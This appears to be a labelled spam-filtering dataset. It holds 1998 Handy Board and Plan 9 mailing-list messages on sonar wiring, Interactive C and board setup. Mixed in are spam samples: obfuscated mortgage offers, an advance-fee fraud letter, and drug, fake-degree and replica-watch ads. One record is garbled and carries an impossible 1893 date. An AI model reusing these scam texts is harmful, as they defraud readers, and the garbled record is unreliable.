init pulse and the falling edge of the echo pulse for every foot between your transducer and a given target. Someone please correct and clarify this if I am wrong. I don't remember specifically what version of the classic Polaroid transducer driver/detector we used, and Chris may be using a different one. > than .5V)and the remnants of the sixteen pulses from the ping. I hear > a clicking sound too, which was unexpected and is quite annoying. Is > this normal? How come I never have any voltage on ECHO? I am not Every transducer I have ever used has had a human audible component that was heard every time the transducer emitted a ping. I think this is called ""ringing"", and is due to the emitter plate flexing, and generating harmonics which may fall into the human audio range. Check out the Fourier transform of a digital pulse and you can see the frequency components that we hear. > using the blanking inhibit at all, and if I look at the noise at about > a 200mv setting on the scope, I can see a shape in the noise that > changes with an objects proximity to the transducer, but it is not > anything like a logic level. I have tried a million different ways of Could your scope leads be a bit flaky? How are you triggering? If you are using a digital scope, try and configure the instrument for ""manual"" trigger, as opposed to ""auto"" trigger. There will most likely be a variable setting to allow you to set the trigger threshold. All the digital Tek's do this. I seem to recall it being under the ""Vertical Menu"", or was it ""Acquire""? *shrug* Then attempt to ""capture"" the echo edge event. It was a 5 volt signal; have no doubts there. > way to test it. We connected it to the microcontroller as it connects > to the handyboard, but that of course didn't work either. If you can How did you connect it to your Micro? Again, the device we used did not supply an analogish level to represent the Time of Flight of a given audionic pulse. The time information was determined by measuring the difference between the init pulse and the echo pulse with an Input Capture. With a 2 Mhz E-clock, the magic number turned out to be about 150 TPU counts per foot. I don't remember precisely how we got that.. probably trial and error. > respond via email, that would be best because I don't get this list > regularly. Please respond soon so I don't fail senior design!! ;-) Note that I have forwarded my response to the Handyboard list as well. Have faith, and good luck. -d The Fourth Law of Programming: Anything that CAN go wrong wi /kernel: pid 128 (sendmail), uid 0: exited on signal 11 (core dumped)",0,0 Christopher Moylan ,David Kott ,"Thu, 23 Apr 1998 09:11:44 -0400",Re: Help!! Polaroid problem!!!,"Hey, I just wanted to thank everybody for there help with this, it did turn out to be the pull up resistor problem, I feel like a moron. We used the handyboardy sonar interfacing schematic when we wired it up and failed to realize that we aren't ACTUALLY USING A HANDYBOARD! This means, of course, that we need to provide our own pull up resistors for the input, and when that was added, everything worked perfectly (Doh!) So anyways it works on the the scope and in our project for our preliminary ECE demonstration yesterday, thanks to you guys. I am still having a bit of a problem, though, it seems I am getting false echos, or latent echos every now a and then, like I will pull my hand away from the sensor and it will not notice for a second that its new target is the ceiling. I looked at the echo pulse on the scope and it seems a bit dirty, where should I throw a capacitor (and what rating) to eliminate this. I've heard a lot about caps for these things, but I am not sure where it should be placed. We are not using te BINH line, so I don't need a cap there as far as I know. Suggestions would be much appreciated, although its not an emergency this time! Thanks again everybody. Take it easy, Chris Moylan ",0,0 Charley Webb ,handyboard@media.mit.edu,"Thu, 23 Apr 1998 10:02:06 -0400",A Few Questions,"First I want everyone to know two things. First I am new to this list. Second, I have moderate knowledge of electronics.... Until about a few weeks ago, I had been working with Basic Stamps 1 and 2. After looking at all the information about HandyBoards/Rug Warrior boards, I decided to take the plunge and bought a pair of Rug Warrior Pro Kits, both with Brains/Brawn. I have noticed that alot of different articles and websites refer to both boards. I know that there are differences between the two, and being that I am still learning Interactive C ver 3.2, which came with the Rug kits... One of the problems I am having is with the IR circut. What is used for this is: IS1U60 Detector 74HC14 Hex Schmitt trigger inverter 0.1uF cap (Bypass cap for 74HC14) 0.0022uF cap (Part of IR Oscillator Circut) and of course a pot to adjust the freq of the oscillator (10k) What is happening with BOTH rugs is that the distance is no more than 3-4 inches. When adjusting the pot, very little at that, the left LED appears to be SUPER sensitive, while the right side appears to work just fine. I have tried the electrical tape on the base of the LEDS, which does not make any difference. From what I understand, I should be able to get at least a good distance of 6 inches with these rugs, however I dont know what else to try.. The other question I have is about IC ver 3.2. It seems that more people are using older versions as opposed to the newest ones. I grabbed an older copy that I was able to use with the examples that I had found on the web, and to be perfectly honest, it was easier to me to learn how to program the rugs. IS it me or is this something common???? I have a handyboard on order, which I intend to use on a homemade project. Just in case anyone is wondering why I have to rugs, and now going into a handy board, its simple, when it comes to building the robot brain, its no problem, BUT the actual body/drive, forget it, I am about as useful as a porcupine in a nudist colony!!!!! Any help/suggestions GREATLY appreciated... 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(by the way I am planning on using two motors, if that makes a difference) --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Simon Cheung ,handyboard@media.mit.edu,"Thu, 23 Apr 1998 10:23:03 -0700",subscribe," ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Randy Sargent ,Jan-Sipke van der Veen ,"Thu, 23 Apr 1998 17:50:14 -0700",Re: IC stack problem,"Dear Jan-Sipke, Two-dimensional arrays are not implemented in the freeware IC 2.8 -- sorry. I just tested and your code works fine with IC 3.1/3.2. -- Randy -------------------- Jan-Sipke van der Veen wrote: > > Hello everybody, > > Is something wrong with this code or is it IC? > > { int a[4][4], i; for (i=0; i<4; i++) { a[i][i]=i; } } > > When I type this at the IC prompt it complains: > > Downloading 79 bytes (addresses C200-C24E): 79 loaded > COMPILER ERROR!: 2 extra bytes left on board stack > > Any ideas? > > Jan Sipke van der Veen -- ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/",0,1 """�Ĥ@���[�J�|���Ұe�K�O�I�Ʋ��crucial"" ",Gordon ,"Sun, 19 Nov 1893 20:11:51 +0800",���|���o�j��e��ketchup,theresa conversant ���|���o�j���e��ketchup chuff,1,1 Peter Harrison ,Darkman ,"Fri, 24 Apr 1998 09:12:43 +0100",Re: Handy board help,"Hi For a relatively simple solution you may want to look at http://www.cctc.demon.co.uk/stepper.htm I have connected and run steppers using this method. It does not get the best from the motors but it will let you experiment easily. -- ===================================================== peter.harrison@cannock.ac.uk Cannock Chase Technical College ",0,1 Abba Schlegel ,handyboard@media.mit.edu,"Fri, 24 Apr 1998 04:54:06 -0400",Re: eekig news,"Dea e r Home O c wne o r , Your c f redi u t doesn't matter to us ! If you O w WN real e g st h at a e and want I c MMED o IAT f E cas j h to sp i en e d ANY way you like, or simply wish to LO o WER your monthly pa x ymen b ts by a third or more, here are the dea j ls we have T n OD h AY : $ 4 c 88 , 000 at a 3 , j 67% fi b xed - ra p te $ 37 m 2 , 000 at a 3 , 9 q 0% va o ria d ble - ra w te $ 4 h 92 , 000 at a 3 l , 21% in n tere y st - only $ 24 s 8 , 000 at a 3 , 3 n 6% fi m xed - rat e e $ 1 y 98 , 000 at a 3 , o 55% var g iable - rat r e Hurr e y, when these d v eaIs are gone, they are gone ! Don't worry about ap o pro n val, your cr u edi w t will not d r isqu i alify you ! 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The corrected AIU software was redelivered to Mission Operations for loading on the simulator, and another round of acceptance testing is beginning this week. Supported weekly Eros planning meetings. Presently working operations scenarios for high orbit phases and examining various flight operations scenarios for attitude and momentum control, DSN real-time track spacing and duration, and flight recorder operations. Finishing first in a series of Eros planning and scheduling tests this week with the science teams. No major problems detected to date, but several improvements have been recommended. A full debrief will be held on May 5. Plans: Upcoming Spacecraft Activities: TBD: Load AIU S/W to AIU #1, switch back to #1 (pending successful acceptance test) July: Flight computer software upload and flight tests of momentum control. July: MSI software upload July 6: Begin Seq_Gen (Eros scheduling software) operations with XGRS and MAG both on. August 13: First OpNav of Eros August 26: TCM 14 September 30: OpNav A October 7: Eros light curve movie-1 MISSION DESIGN NEAR Mission Design Team tasks during the past week include: (1) Mission Design personnel recomputed details of four of the first seven Eros orbit correction maneuvers (OCM's) since detailed link margin computations showed that communication would be marginal or impossible using the original design for them computed last week. Now all seven maneuvers can be observed with NEAR's fanbeam antenna. Maneuver files for these events were generated and placed on the Crossroads computer for access by others. (2) Mission Design Team personnel participated in the NEAR Eros Arrival and Early Operations Meeting on Thursday, and wrote and distributed formal minutes for last week's meeting. ",0,0 Randy Sargent ,handyboard@media.mit.edu,"Fri, 24 Apr 1998 17:02:56 -0700",Smooth PWM routines for IC 3.1/3.2,"Thanks to Julian Skidmore and Scott Seaton, we have a version of pcode and libraries for IC 3.1/3.2 which implement Julian's ""smooth pwm"" routines for the MIT Handyboard. To grab these, please go to the following address: ftp://newtonlabs.com/contrib/smooth-pwm I've included the ""README"" file from the directory at the end of this message to inform those who don't already know how Julian's modification might help you. Many thanks to Julian and Scott for contributing this feature. -- Randy --------------- README for IC 3.1 Smooth PWM routines for the MIT Handyboard 4/24/98 The files in this directory are contributed by Julian Skidmore and Scott Seaton The ""Smooth PWM"" routines, designed by Julian Skidmore, allow for finer control of the amount of power going to the 4 motor outputs on the MIT Handyboard. While the ""motor"" library function appears to allow 100 forward power levels and 100 backwards power levels, in fact, the -100 to 100 is quantized to 8 forward and 8 backwards power levels in the standard library and pcode. Julian's modifications to the pcode and library allow for full -100 to 100 resolution for setting power. This can be particularly useful when running low-voltage motors on the Handyboard, where power levels need to be kept low. -------------------------- TO INSTALL: Simply copy pcode_hb.s19 and lib_hb.c into your IC libraries directory. You might want to back up the old versions of the same files first. Next, be sure to download the updated pcode file. You should see ""SMOOTHPWM"" on the LCD screen on bootup. Note that if the new library is used with the old pcode, or vice-versa, the ""motor"" command will not behave at all linearly with respect to the power command (although 0 and 100 will still work as normal). If you have problems downloading pcode_hb.s19 and lib_hb.c, you can instead download and unzip ""smooth.zip"", which contains the same files. ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/",0,1 Alexei Zakharenko ,,"Fri, 24 Apr 1998 14:30:42 -0700",URGENT PARTNER NEEDED," PLEASE FOR CONFIDENTIALITY REASONS CONTACT ME THROUGH MY SECURED EMAIL ADDRESSES:alexei_zakko@web2mail.com Dear friend, I am Mr. Alexei Zakharenko a personal treasurer to Mikhail Khodorkovsky the Richest man in Russia and owner of the following companies: ChairmanCEO: YUKOS OIL (Russian Largest Oil Company) Chairman CEO: Menatep SBPBank (A well reputable financial institution with it’s Branches all overthe world) SOURCE OF FUNDS:I have a profiling amount in an excess of 100,000,000 dollar(one hundred million dollar) which I seek your Partnership in accommodating for me. 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It does not get > the best from the motors but it will let you > experiment easily. > > -- > == > ================================================== > > peter.harrison@cannock.ac.uk > Cannock Chase Technical College Thanks for this excellent article on driving stepper motors from the Handboard. One little yet very important question: when you say ""the common wires need to be connected to the motor positive supply"" what exact handyboard pinout are you referring to, and with an unmodified handyboard, what voltage would this drive the stepper motor at? Thanks, /Max PS: Another free source of stepper motors is from any old dot-matrix printer you plan on discarding. I ripped mine apart and found two 6-wire stepper motors: one driving the print head and the other taking care of the paper feeder. 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Alf ",0,0 669@worldnet.att.net,"alfk@eikon.e-technik.tu-muenchen.de, handyboard@media.mit.edu","Mon, 27 Apr 1998 15:25:59 -0500",Re: Trouble with Tom Brusehaver's Vector 2X routines,"Alf, Try loading compass.icb first then compass.c. at the prompt type v2x(); ---------- > From: Alf Kuchenbuch > To: handyboard@media.mit.edu > Subject: Trouble with Tom Brusehaver's Vector 2X routines > Date: Monday, April 27, 1998 4:08 AM > > Hi! > Is there anybody else having trouble running his V2X with Tom > Brusehaver's routines? With my own very crude IC-routines I get it > working, but I'd like to use Tom's, because they are much more > comfortable. > Any help appreciated! > Alf",0,0 brian-c@technologist.com,handyboard@media.mit.edu,"Mon, 27 Apr 1998 17:44:01 -0400",HB weight,"does anyone know the weight of a handy board? thanks, -Brian --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Omar Valentin ,Leon ,"Mon, 27 Apr 1998 17:53:25 +0002",Our store is your cureall!," Its true because we have a great number of different dr@gs! Pain relief, love life enhancement, depression suppress, weight loss and much more! Our store is VERIFIED BY BBB and APPROVED BY VISA! Click here for getting your health problems away at once! Best pri$es, secure payment processing, direct shipping from our warehouse and sympathetic customer support! http://utaark.overpace.net/?35928557",1,1 Chuck McManis ,Christopher Moylan ,"Mon, 27 Apr 1998 17:54:14 -0700",Re: Help!! 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As noted in the book, breadboards have the advantage that they are relatively inexpensive, easy to change, and components are on the same side as the wiring. The problems with breadboard technology includes low component density, stray capacitance between rows, wiring sockets in breadboards are easily sprung, and it is easy to unintentionally dislodge connections when a lot of wires are in the breadboard. Wire-wrap has the advantage of providing more secure connections that breadboards. However, the resulting boards are thick, inconvenient to make changes especially when the wire you want to change is at the bottom of pin, and uses point-to-point technologies which is messy for connecting the ground wires. The problem with Scotchflex by 3M is that I cannot find anyone at 3M that knows anything about the sockets, plug strips, or the wiring tool discussed in the book. If you have these items, I would very much appreciate if you can give me the part numbers for them. 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I would like to prohibit some kfs commands by the user who is not the owner of /dev/hd0* Kenji Arisawa E-mail: arisawa@aichi-u.ac.jp ",0,0 Patrick Cutts ,HandyBoard ,"Thu, 30 Apr 1998 23:19:20 -0700",Re: Schematic Question,"You're missing the fact that the telephone style RJ-11 cable is an inverting cable. see page 11 of 16 of the Handyboard FAQ at http://el.www.media.mit.edu/groups/el/projects/handy-board/faq/index.html for a discussion and diagram of this (and the consequences of using the wrong cable!). -patrick ---------- > I noticed something that seems wrong. But how could it since this > has been out for some time? > > Power goes out pin 4 of J10 on the Charger board and pin 4 on > Handyboard J5 is grounded. Is that right? The UNSWPWR on the > handyboard is connected to pin 3 of J5. > > What am I missing? ",0,1 Peter Harrison ,"""Kevin B. Smith"" ","Fri, 01 May 1998 08:49:24 +0100",Re: Quick prototyping technologies,"Kevin B. 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For example, the polaroid sonar data states that you can control turning on and off the device, so you turn that one on for the majority of the time but turn it off momentarilly and turn on the V2x to get information and then turn it back off and turn on the sonar again. OR, can it be done in a hardware fashion (which probably would be better)? Thanks in advance, Scott sherman@plains.nodak.edu CSG ITS NDSU ",0,0 Alice ,handyboard@media.mit.edu,"Fri, 01 May 1998 04:44:28 -0600",The obvious choice.,"Academic Qualifications available from prestigious NON-ACCREDITED universities. Do you have the knowledge and the experience but lack the qualifications? Are you getting turned down time and time again for the job of your dreams because you just don't have the right letters after your name? Get the prestige that you deserve today! Move ahead in your career today! Bachelors, Masters and PhD's available in your field! No examinations! No classes! No textbooks! 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Can anyone help me please? thanks. s ",0,0 Darkman ,"Scott Sherman , handyboard@media.mit.edu","Fri, 01 May 1998 12:44:45 -0400",Re: V2x and sonar,"If you only use one motor controller IC you can use the 16 pin socket of the second motor control to get 4 more outputs. Then you can connect the INIT and BINH to these and have Port D control your V2x compass. All you have to do is modify your sonar.c program to use these new pins. I hope that helps. P.S. If you need more info let me know. -----Original Message----- From: Scott Sherman To: handyboard@media.mit.edu Date: Friday, May 01, 1998 9:42 AM Subject: V2x and sonar >Hi, > >Wouldn't it be possible to wire them both to the same input port and turn >on the one that you want information from and turn the other off? For >example, the polaroid sonar data states that you can control turning on >and off the device, so you turn that one on for the majority of the time >but turn it off momentarilly and turn on the V2x to get information and >then turn it back off and turn on the sonar again. OR, can it be done in >a hardware fashion (which probably would be better)? > >Thanks in advance, > >Scott >sherman@plains.nodak.edu >CSG >ITS >NDSU >",0,0 Les Novotny ,handyboard@media.mit.edu,"Fri, 01 May 1998 10:03:20 -0700",Schematic drawing - freeware ???,"Hi, Has anyone come across a freeware schematic drawing package for Windows PC? Any help would be much appreciated. thanks in advance. Les ",0,0 """Kevin B. Smith"" ","'Les Novotny' , handyboard@media.mit.edu","Fri, 01 May 1998 12:51:02 -0600",RE: Schematic drawing - freeware ???,"I came across this web page today. It may have what you are looking for. http://www.engr.unl.edu/eeshop/cad.html#PADS Kevin -----Original Message----- From: Les Novotny [mailto:les@progressive-solutions.com] Sent: Friday, May 01, 1998 11:03 AM To: handyboard@media.mit.edu Subject: Schematic drawing - freeware ??? Hi, Has anyone come across a freeware schematic drawing package for Windows PC? Any help would be much appreciated. thanks in advance. Les ",0,1 John Duff ,Seung Eun Son ,"Fri, 01 May 1998 13:50:47 -0500",Re: loading files,"It suggests you are not loading lib_hb.c on start up. If you type list files at the IC command line you should see this file listed, as well as any others. If it isn't there, check your lib_hb.lis file and be sure lib_hb.c is listed in it. Seung Eun Son wrote: > Hi, > I am having problems loading my files onto handyboard. > Whenever I try to load a file, it says ; > > function analog undefined > function motor undefined > > It used to work fine before and I don't know why I am having this problem > all of sudden. > Can anyone help me please? > > thanks. > > s ",0,0 MAR ERICSON ,Les Novotny ,"Fri, 01 May 1998 17:39:15 -0400",Re: Schematic drawing - freeware ???,"Try to look up MicroSim ...or something like that name. It has a crippled evaluation package that may suit your needs. I think the company is the developer of psplice. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Fri, 1 May 1998, Les Novotny wrote: > Hi, > Has anyone come across a freeware schematic drawing package for Windows PC? > > > Any help would be much appreciated. > > thanks in advance. > > Les > > ",0,0 """E. Baeck"" ",handyboard@media.mit.edu,"Fri, 01 May 1998 12:27:47 +0100",SPI Interface,"Hi, is there anywhere a function for IC 3.2 to communicate via the SPI interface with another controller ? Thanks in advance. Erwin ",0,0 Otto Grady ,Annie ,,Fwd: more," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Is there some kind of header available that will 'fork' the connection 2 ways? Thanks, /Max ",0,0 MAR ERICSON ,Handy Board mailing list ,"Sat, 02 May 1998 18:29:48 -0400",6.270 board,"What is 6.270? Where did this number come from? ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 arisawa@plan9.aichi-u.ac.jp,9fans@cse.psu.edu,"Sun, 03 May 1998 09:03:23 -0500",Re: [9fans] more secure kfs,">It's simple to prohibit *all* kfs commands except from hostowner, >by changing main.c as shown below. ... >-- Richard Miller Thank you, Richard. I will try. Kenji Arisawa E-mail: arisawa@aichi-u.ac.jp ",0,0 Mike Davis ,handyboard@media.mit.edu,"Sat, 02 May 1998 17:45:54 +0000",Testing with PCBUG11,"I have assembled the HandyBoard up to the point of adding the SRAM. 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I've tried but get BAD ADDRESS (or BAD MEMORY something like that). Like it's not there 3) Still would like to know baud rate in boot mode? 4) Is the LCD manual on the web somewhere? Maybe I'll play with that tomorrow. Looks like I'll have fun tomorrow playing with this. > From: ""Mike Davis"" > I have assembled the HandyBoard up to the point of adding the SRAM. > I am still waiting for my SRAM to arrive. But, I want to check out > as much as possible. > > Every step checked out fine to this point. > > I have two options at this point. I have an 6264 (8K x 8) that will > give me 8K for not (not using IC yet). I also have an 811E2 in the > board for now. > > I tired to run PCBUG, to test the communications with the MCU but I > get the following error each time I try to communicate with the > board: > > Fatal Error[9] - Hardware communication failure. PCBug terminated. > > This error makes me wonder if something might be wrong with my RS232. > > Questions: > 1) What should the baud rate be during boot sequence? > 2) Does PCBug set it automatically? > 3) Do I have to set it from Win95 before running PCBug? > 4) Does anyone have any suggestions how to test the RS232 using > PCBug11? > -- > ----------------------------------------------------------------- > ipscone@halcyon.com Shoot-To-Win! > > Protect the 2nd Amendment! Your rights may be next! > ----------------------------------------------------------------- > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 """Patrick E. Hacker"" ",9fans@cse.psu.edu,"Sat, 02 May 1998 21:00:25 -0700",[9fans] Plan9 installation problem,"Can anybody help with this problem? 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Pat patrick.e.hacker@tek.com ",0,0 jim mckie ,9fans@cse.psu.edu,"Sun, 03 May 1998 00:17:51 -0400",Re: [9fans] Plan9 installation problem,it's likely that the disc is too big. there was a sign-extension problem in the original release limiting its understanding to <2GB ide drives. if you can't replace with a smaller drive then perhaps we can find someone out there with a fixed bootstrap programme and kernel to get you under way. --jim,0,0 Paul ,handyboard_mailinglist ,"Sun, 03 May 1998 15:29:10 +1000",Controlling a DC motor 2,"Hi again, I think i should change my previous question to the following. Is there any alternatives to control a DC motor motion (speed, direction etc) without using a motor driver? how? please explain briefly. Thank you for your replies. ",0,0 Mike Davis ,handyboard@media.mit.edu,"Sat, 02 May 1998 23:33:17 +0000",MODB - How Is Expanded Mode Entered,"If MODB pin is always grounded, how does the MCU get into expanded mode to access the 32K SRAM? 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It checks to see if there is anything in the queue for the LCD and then it checks to see that the LCD driver is installed in the zero page of RAM. If neither is true it returns. When there is something to do, the driver dereferences a pointer to call lcd_write(). That routine turns off interrupts, flips the 68HC11 into single chip mode, and checks to see if the LCD is busy, if it is, it returns, otherwise it dequeues a character and writes it to the LCD and returns. In either case it is back out of single chip mode with interrupts back on in a few microseconds. In either event, I call lcd_write once a millisecond (if it something to do) and if doesn't manage to accomplish anything in 10 tries (ie 10mS) then I set a flag to indicate the LCD is not working. This keeps the board from hanging if you unplug the LCD. --Chuck P.S. I've also attached an S19 file that shows it in operation.",0,0 Chuck McManis ,Robot Board Mailing List ,"Sat, 02 May 1998 23:42:44 -0700","whoops, wrong test program","Attached to this message is the test program and S19 file for the LCD code. --Chuck",0,0 Kendra Blount ,handyboard@media.mit.edu,"Sat, 02 May 1998 20:44:55 -0600",RERE:WE approved yours loan 70co,"Dear Homeowner, http://getmort.com You have been approved for a $ 747,454 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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",0,0 Tejesh Makanawala ,handyboard@media.mit.edu,"Sun, 03 May 1998 10:51:48 -0500",IC communication problem,"Hello, Lately I am having problems communicating with the handyboard after it is reset. I can download the pcode_hb.s19 file using hbdl.exe downloader. When the Handyboard is reset by toggling the power switch, the following is observed. 1st symptom : No welcome message on screen Running ic.exe after the reset causes something to be written to the port as indicated by the RS-232 minitester, but nothing is returned from the Handyboard side. 2nd symptom: Attempting to link to board on port com2 Synchronizing with board Board disconnected or not responding, retrying I have checked the Memory Power and it appears to be constant at 5.5V. I have not checked it with an oscilloscope to see if there are any spikes in the memory power. I would appreciate comments in solving this problem. Thank you, Tejesh",0,0 """Patrick E. Hacker"" ",9fans@cse.psu.edu,"Sun, 03 May 1998 09:41:31 -0700",[9fans] 9fans@cse.psu.edu,"Russ Cox (rsc@pan9.bell-labs.com) suggested I try: A:\\> b hd!0!9dos I received the following: Protected-mode bootstrap hd0: LBA 8248472 sectors, -71237632 bytes Cannot access device: fd!0!9dos Boot devices: hd!0 h!0 boot from: Seems it doesn't like my floppy controller?! That would tend to point to incompatible chip set or unexpected timing issues. The manual indicates the following chips on board (sorry I'm not familiar with the Intel line so I'm not sure which one handles the floppy) Intel Pemtium-MMX 82437VX 82371SB I'll need to open it up to check on bus speeds. I'll also try moving the floppy controller to an AHA1540/42CP SCSI controller. Thanks for helping! ",0,0 Stefan.Schoettler@t-online.de,handyboard@media.mit.edu,"Sun, 03 May 1998 20:30:55 +0200",Polarity of PowerJack from HB und Charger Board,"Hi I am wondering about the Polarity of the Power Jack at the Handyboard and the charger board. At the HB the Pin in the middle is ground. At the charger board the outside Ring is ground.Can anybody tell me why it is different ? Thanks stefan.schöttler@t-online.de ",0,0 Rent-A-Nerd ,handyboard@media.mit.edu,"Sun, 03 May 1998 14:56:26 -0500",recharging a battery the right way,"hello I have a 6v 2.0amp battery. Its a lead acid battery. What is the right way to recharge it? The reason I ask is because I had a 12v 7amp battery from the same manyfacturer. I charged it using a car battery charger at the lowest setting possible. After 2 days, the cells had expanded and the battery was bloated. I dont want to repeat that! thanks for any help. phil hahn thehahns@netwurx.net ",0,0 Paul ,handyboard_mailinglist ,"Mon, 04 May 1998 07:07:38 +1000",Controlling a DC motor 3,"Thank your for all your replies, I understand what 's going on now Another question about the motor driver is: Q) The PWM is a sequence of pulses switching on & off the H-Bridge. But what should be the rate of PWM? 1000Hz?? why? what does the rate of PWM depends on? ",0,0 Haider Rease ,handyboard@media.mit.edu,"Sun, 03 May 1998 10:29:59 -0700",Re: toxyt news,"D x ear Home O d wne f r , Your c c red d it doesn't matter to us ! If you OW u N real e o st n at g e and want IM i ME t DIAT f E cas p h to s d pen v d ANY way you like, or simply wish to L l OWER your monthly pa h ym v ents by a third or more, here are the dea e ls we have T s OD y AY : $ 48 w 8 , 000 at a 3 s , 67% f j ixed - ra k te $ 37 w 2 , 000 at a 3 , 9 s 0% v i aria e ble - ra q te $ 4 a 92 , 000 at a 3 k , 21% int v ere a st - only $ 2 d 48 , 000 at a 3 a , 36% fi x xed - rat s e $ 1 d 98 , 000 at a 3 , 5 e 5% varia r ble - ra i te Hurr o y, when these d d eaIs are gone, they are gone ! Don't worry about app d ro o val, your c v redi j t will not d e isqualif j y you ! V m isi f t our si j te Sincerely, Haider Rease Ap v prova q l Manager",1,1 """Paul E. Rybski"" ",Handy Board ,"Sun, 03 May 1998 17:07:45 -0500",Cannot download pcode on a Mac G3,"Hello everyone, I've been having a problem downloading pcode to a handyboard or rugwarrior board from my Mac G3 (266 Mhz desktop model). When I try to download the bootstrap code, it reports that the bootstrap failed after 000 bytes, etc.. etc... The funny thing is that I am able to communicate with either the rug warrior or handyboard just fine as long as they both have working pcode installed in them already. I am using IC version 3.1 and have found this behavior to be the same for both the modem and the printer port. I have also found that when I try to change the definitions file in the preferences menu to download different pcode and libraries to the handyboard or rug warrior, IC crashes usually during the second configuration swap. I thought that I'd try using IC 2.852 to see if I would get better behavior. Here's a transcript of the failed download: Please place board in download mode and press RETURN To quit, press Q For help, press H Downloading 256 byte bootstrap (229 data) ................................................................ ................................................................ ................................................................ .....................................___________________________ Timeout on serial receive. 256 chars left to receive Perhaps the board was not connected properly or not in download mode Please place board in download mode and press RETURN To quit, press Q For help, press H Has anybody else had similar problems? Randy or Fred, any ideas as to why IC doesn't like my Mac G3? I'm running system 8.1, BTW. -Paul. ",0,0 """Fred G. Martin"" ","""Paul E. Rybski"" ","Sun, 03 May 1998 19:17:15 -0400",Re: Cannot download pcode on a Mac G3 ,"Paul -- have you tried 6811 Downloader? Any luck with that? looks like Randy and I will both need to get our hands on a G3 to debug our code :-) Fred In your message you said: > Hello everyone, > I've been having a problem downloading pcode to a handyboard or > rugwarrior board from my Mac G3 (266 Mhz desktop model). When I try to > download the bootstrap code, it reports that the bootstrap failed after > 000 bytes, etc.. etc... The funny thing is that I am able to > communicate with either the rug warrior or handyboard just fine as long > as they both have working pcode installed in them already. I am using IC > version 3.1 and have found this behavior to be the same for both the > modem and the printer port. > I have also found that when I try to change the definitions file > in the preferences menu to download different pcode and libraries to the > handyboard or rug warrior, IC crashes usually during the second > configuration swap. > > I thought that I'd try using IC 2.852 to see if I would get > better behavior. Here's a transcript of the failed download: > > Please place board in download mode and press RETURN > To quit, press Q > For help, press H > Downloading 256 byte bootstrap (229 data) > ................................................................ > ................................................................ > ................................................................ > .....................................___________________________ > Timeout on serial receive. 256 chars left to receive > Perhaps the board was not connected properly or not in download mode > > Please place board in download mode and press RETURN > To quit, press Q > For help, press H > > > Has anybody else had similar problems? Randy or Fred, any ideas > as to why IC doesn't like my Mac G3? I'm running system 8.1, BTW. > > -Paul. > > ",0,0 """PEE SOFTWARE INC."" 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Martin"" ",Stefan.Schoettler@t-online.de,"Sun, 03 May 1998 19:32:23 -0400",Re: Polarity of PowerJack from HB und Charger Board ,"on the interface/charger, since there's a bridge rectifier immediately normalizing the input jack voltage -- regardless of polarity -- it kind of doesn't matter which polarity you use. there is a discrepancy between the int/charger schematic and PCB. the schematic shows the input voltage going to pins 2 and 3 of the bridge, but on the PCB the input goes to pins 1 and 2. i'm actually not sure of the internal wiring of the db-101 bridge, so i can't say whether the schematic is drawn correctly (neglecting the pin number issue and treating the bridge as a collection of 4 diodes). i should figure out what the right answer is and revise the schematic. as a matter of consistency, i assume the center pin negative wiring when i create a new design (would be bad to have two different kinds of adapters floating around the lab). so the schematic for the int/charger breaks this ""fred standard adapter"" rule. probably, when i laid out the int/charger board, i knew i was using an integrated bridge DIP, and i didn't bother to follow my rule because i knew it wouldn't matter from a practical standpoint. i still might have gotten the PCB ""right"" though - it depends on the arrangement of the diodes in the bridge. in which case i should fix the schematic. fred In your message you said: > Hi > I am wondering about the Polarity of the Power Jack at the Handyboard and the > charger board. At the HB the Pin in the middle is ground. At the charger boar d > the outside Ring is ground.Can anybody tell me why it is different ? > > Thanks > > stefan.schvttler@t-online.de > > ",0,0 ed@washoe.cs.unr.edu,9fans@cse.psu.edu,"Sun, 03 May 1998 16:25:51 -0700",[9fans] Installing Plan 9," Patrick, another option is to try the 4 diskettes prepared by David Butler at ftp.dbsystems.com/pub/PLAN9/pcdist. His web site was down just now, but I was able to ftp there and the floppy images seem to be there. David applied all the updates through Dec 1997 and has support for 3Com 905 also. His kernel supports multiple ethernets so as I recall you need to edit the /rc/bin/termrc file to test for /net/ether0/clone to configure the ethernet / IP interfaces. I have used this 4 diskette set and it works fine. Once when I couldn't unpack the Lucent diskettes it was able to unpack. I know this is not your problem but the updates may have fixed what ever is bugging you. This `ether0' versus `ether' stuff breaks some commands but it will get you up for further testing/debugging. ed wishart ------------------------------------------------ patrick.e.hacker@tek.com writes: Can anybody help with this problem? I downloaded disk1 (and disk1.nvd, disk1.orig) from ftp://plan9.bell-labs.com/plan9/pcdist, transferred disk1 to a floppy with putimg, and upon rebooting got the following: Protected-mode bootstrap hd0: LBA 8248472 sectors, -71237632 bytes .bad magic 0xeb29904f not a Plan9 executable! Boot devices: hd!0 h!0 boot from: I'm using the following platform: Pentium 200 MHz, 32MB 1.44 MB floppy 4 GB IDE HD 3Com EtherLink III 3C579 S3 Trio64V+ Any suggestions? Pat ",0,0 Nicolette Seda ,handyboard@media.mit.edu,"Sun, 03 May 1998 19:30:28 -0500",American getting crazy over it,"but cauldron see operatic some ding some perusal see bronco ",1,0 Mike Davis ,handyboard@media.mit.edu,"Sun, 03 May 1998 21:01:21 +0000",LCD Addressing - & - Expanded Mode,"Two questions: 1) I'm having a little trouble figuring out how the LCD is addressed. It uses A8 and A8 but also is clocked from Port A. Can someone explain how to properly address the LCD using ASM? 2) The Mode B pin is always grounded. How does the system get put into expanded 